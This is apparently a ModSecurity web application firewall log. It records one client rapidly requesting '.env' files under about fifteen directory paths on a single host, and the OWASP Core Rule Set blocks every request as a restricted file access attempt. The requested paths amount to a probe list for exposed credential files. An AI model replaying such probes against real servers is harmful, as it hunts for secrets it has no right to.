[Sun Oct 25 13:42:18.086256 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_et0xbXd9S994rNKOFAAAABo"]
[Sun Oct 25 13:42:18.086546 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_et0xbXd9S994rNKOFAAAABo"]
[Sun Oct 25 13:42:18.099797 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoWwAAAB0"]
[Sun Oct 25 13:42:18.099977 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoWwAAAB0"]
[Sun Oct 25 13:42:18.100268 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoWwAAAB0"]
[Sun Oct 25 13:42:18.118327 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_emROfIjgFWURimb5vwAAABw"]
[Sun Oct 25 13:42:18.118535 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_emROfIjgFWURimb5vwAAABw"]
[Sun Oct 25 13:42:18.118822 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4_emROfIjgFWURimb5vwAAABw"]
[Sun Oct 25 13:42:18.124260 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_epwbmFwznfsCF_-l4QAAABY"]
[Sun Oct 25 13:42:18.124433 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_epwbmFwznfsCF_-l4QAAABY"]
[Sun Oct 25 13:42:18.124665 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4_epwbmFwznfsCF_-l4QAAABY"]
[Sun Oct 25 13:42:18.165349 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8gAAAAE"]
[Sun Oct 25 13:42:18.165571 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8gAAAAE"]
[Sun Oct 25 13:42:18.165921 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8gAAAAE"]
[Sun Oct 25 13:42:18.188863 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_eijnAS4eJh-ada2MzAAAAA0"]
[Sun Oct 25 13:42:18.189202 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_eijnAS4eJh-ada2MzAAAAA0"]
[Sun Oct 25 13:42:18.189661 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4_eijnAS4eJh-ada2MzAAAAA0"]
[Sun Oct 25 13:42:18.202470 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_epour3YxBmLR_JFxMQAAABU"]
[Sun Oct 25 13:42:18.202720 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_epour3YxBmLR_JFxMQAAABU"]
[Sun Oct 25 13:42:18.203011 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_epour3YxBmLR_JFxMQAAABU"]
[Sun Oct 25 13:42:18.207230 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_eug9pzNQjEGi_V9rjwAAACY"]
[Sun Oct 25 13:42:18.207916 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_eug9pzNQjEGi_V9rjwAAACY"]
[Sun Oct 25 13:42:18.208160 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_eug9pzNQjEGi_V9rjwAAACY"]
[Sun Oct 25 13:42:18.228701 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_eoW9AQ683bVF6pkMvAAAACU"]
[Sun Oct 25 13:42:18.228943 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_eoW9AQ683bVF6pkMvAAAACU"]
[Sun Oct 25 13:42:18.229316 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_eoW9AQ683bVF6pkMvAAAACU"]
[Sun Oct 25 13:42:18.259942 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5gAAACE"]
[Sun Oct 25 13:42:18.260176 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5gAAACE"]
[Sun Oct 25 13:42:18.260616 2026] [security2:error] [pid 2873150:tid 2873150] [client 34.85.93.218:51048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_enad5AfzdkHmtxKJ5gAAACE"]
[Sun Oct 25 13:42:18.272814 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_evVVegKXGA0pTecXnAAAACM"]
[Sun Oct 25 13:42:18.273084 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_evVVegKXGA0pTecXnAAAACM"]
[Sun Oct 25 13:42:18.273485 2026] [security2:error] [pid 2873151:tid 2873151] [client 34.85.93.218:50784] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_evVVegKXGA0pTecXnAAAACM"]
[Sun Oct 25 13:42:18.293136 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_etANyK5EpBCn2dDqfAAAABk"]
[Sun Oct 25 13:42:18.293785 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_etANyK5EpBCn2dDqfAAAABk"]
[Sun Oct 25 13:42:18.295607 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_etANyK5EpBCn2dDqfAAAABk"]
[Sun Oct 25 13:42:18.334391 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_epkDGkILNr0EMn3BawAAACw"]
[Sun Oct 25 13:42:18.334796 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_epkDGkILNr0EMn3BawAAACw"]
[Sun Oct 25 13:42:18.335240 2026] [security2:error] [pid 2867890:tid 2867890] [client 34.85.93.218:50968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_epkDGkILNr0EMn3BawAAACw"]
[Sun Oct 25 13:42:18.398091 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_et0xbXd9S994rNKOFQAAABo"]
